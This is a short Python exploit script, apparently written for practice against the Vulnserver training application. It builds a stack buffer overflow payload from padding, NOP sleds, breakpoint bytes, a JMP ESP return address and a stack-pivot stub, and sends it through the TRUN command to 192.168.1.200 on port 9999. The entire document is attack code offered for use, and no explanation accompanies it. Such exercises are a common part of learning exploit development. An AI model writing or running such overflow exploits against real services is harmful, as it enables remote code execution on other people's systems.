vulnServerExploit.py

import socket

buff = '.'
buff += '\x41' * 1000
buff += '\x90' * 1000
buff += '\xcc' * 6
buff += '\xAF\x11\x50\x62'#625011AF   FFE4             JMP ESP
buff += '\x90' * 8
buff += '\xcc'
buff += '\x83\xc4\xca' #ADD ESP, 0XCA
buff += '\xff\xe4' #jmp esp
buff += '\xcc' * 200

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = sock.connect(('192.168.1.200', 9999))
sock.recv(1024)
sock.send('TRUN '+buff)
sock.recv(1024)
sock.close()